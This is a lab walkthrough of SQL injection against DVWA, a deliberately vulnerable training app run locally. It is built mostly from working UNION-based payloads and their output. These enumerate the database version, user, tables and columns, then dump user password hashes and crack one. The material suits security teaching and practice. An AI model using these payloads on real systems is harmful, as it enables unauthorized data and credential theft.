

Attack db with injection

You can set up the test server on your own computer:

Setup with: XAMPP + DVWA

Try if exist possible injection vulnerability

Input: 1

Return



The screenshot shows a web form titled "User ID:" with a text input field and a "Submit" button. Below the form, the output is displayed in red text: "ID: 1", "First name: admin", and "Surname: admin".

```
$getid = "SELECT first_name, last_name FROM users WHERE user_id =  
'$id'"
```

Injection with always True condition - core exploitation

input : %' or '0'='0

```
ID: %' or '0'='0  
First name: admin  
Surname: admin  
  
ID: %' or '0'='0  
First name: Gordon  
Surname: Brown  
  
ID: %' or '0'='0  
First name: Hack  
Surname: Me  
  
ID: %' or '0'='0  
First name: Pablo  
Surname: Picasso  
  
ID: %' or '0'='0  
First name: Bob  
Surname: Smith
```

- In this scenario, we are saying display all records that are **false** and all records that are **true**.
 - `'` - Will probably not be equal to anything, and will be false.
 - `'0'='0'` - Is equal to true, because 0 will always equal 0.
- Database Statement
 - `mysql> SELECT first_name, last_name FROM users WHERE user_id = ' or '0'='0';`

Inject always True statement so that the statement can always be executed and return db information.

Similarly, we can get the db version (vulnerability can vary between different versions):

Input: `' or 0=0 union select null, version() #`

User ID:

ID: `' or 0=0 union select null, version() #`
 First name: admin
 Surname: admin

ID: `' or 0=0 union select null, version() #`
 First name: Gordon
 Surname: Brown

ID: `' or 0=0 union select null, version() #`
 First name: Hack
 Surname: Me

ID: `' or 0=0 union select null, version() #`
 First name: Pablo
 Surname: Picasso

ID: `' or 0=0 union select null, version() #`
 First name: Bob
 Surname: Smith

ID: `' or 0=0 union select null, version() #`
 First name:
 Surname: 10.4.11-MariaDB

- `mysql> SELECT first_name, last_name FROM users WHERE user_id = ' or 0=0 union select null, version()#';`
- `' #'`

The `VERSION()` function returns the current version of the MySQL database, as a string. `#` comment the `'` to make syntax legal.

How to get user?

```
input: '%' or 0=0 union select null, user() #
```

```
ID: '%' or 0=0 union select null, user() #  
First name: admin  
Surname: admin  
  
ID: '%' or 0=0 union select null, user() #  
First name: Gordon  
Surname: Brown  
  
ID: '%' or 0=0 union select null, user() #  
First name: Hack  
Surname: Me  
  
ID: '%' or 0=0 union select null, user() #  
First name: Pablo  
Surname: Picasso  
  
ID: '%' or 0=0 union select null, user() #  
First name: Bob  
Surname: Smith  
  
ID: '%' or 0=0 union select null, user() #  
First name:  
Surname: root@localhost
```

root@localhost is the user that executing the command

Get db name:

```
'%' or 0=0 union select null, database() #
```

```
ID: '%' or 0=0 union select null, database() #  
First name: admin  
Surname: admin  
  
ID: '%' or 0=0 union select null, database() #  
First name: Gordon  
Surname: Brown  
  
ID: '%' or 0=0 union select null, database() #  
First name: Hack  
Surname: Me  
  
ID: '%' or 0=0 union select null, database() #  
First name: Pablo  
Surname: Picasso  
  
ID: '%' or 0=0 union select null, database() #  
First name: Bob  
Surname: Smith  
  
ID: '%' or 0=0 union select null, database() #  
First name:  
Surname: dvwa
```

Get all tables:

Input: '%' and 1=0 union select null, table_name from
information_schema.tables #

```

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: ALL_PLUGINS

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: APPLICABLE_ROLES

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: CHARACTER_SETS

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: CHECK_CONSTRAINTS

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: COLLATIONS

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: COLUMNS

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: COLUMN_PRIVILEGES

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: ENABLED_ROLES

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: ENGINES

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: EVENTS

ID: '%' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: FILES

```

But our goal is not only to obtain the db info, we want to get the root control on it. Let's hack the credential table

Display all the user tables in information_schema

Input: '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'

User ID:

ID: '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: USER_PRIVILEGES

ID: '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: USER_STATISTICS

ID: '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: user_variables

ID: '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: users

ID: '%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
First name:
Surname: user

Get all columns of the users table

```
input : '%' and 1=0 union select null,
concat(table_name,0x0a,column_name) from
information_schema.columns where table_name = 'users' #
```

User ID:

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
First name:
Surname: users
user_id

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
First name:
Surname: users
first_name

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
First name:
Surname: users
last_name

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
First name:
Surname: users
user

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
First name:
Surname: users
password

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
First name:
Surname: users
avatar

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
First name:
Surname: users
last_login

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
First name:
Surname: users
failed_login

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
First name:
Surname: users
CURRENT_CONNECTIONS

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns
First name:

Get the column contents:

```
Input: '%' and 1=0 union select null,  
concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users  
#
```

User ID: <input type="text"/>	<input type="button" value="Submit"/>
ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #	
First name:	
Surname: admin	
admin	
admin	
5f4dcc3b5aa765d61d8327deb882cf99	
ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #	
First name:	
Surname: Gordon	
Brown	
gordonb	
e99a18c428cb38d5f260853678922e03	
ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #	
First name:	
Surname: Hack	
Me	
1337	
8d3533d75ae2c3966d7e0d4fcc69216b	
ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #	
First name:	
Surname: Pablo	
Picasso	
pablo	
0d107d09f5bbe40cade3de5c71e9e9b7	
ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #	
First name:	
Surname: Bob	
Smith	
smithy	
5f4dcc3b5aa765d61d8327deb882cf99	

Authentication info of all users obtained so far.

Decrypt the hash with MD5

MD5 Decryption

Enter your MD5 hash below and cross your fingers :

Found : **password**
(hash = 5f4dcc3b5aa765d61d8327deb882cf99)

Now the db is full hacked with injection

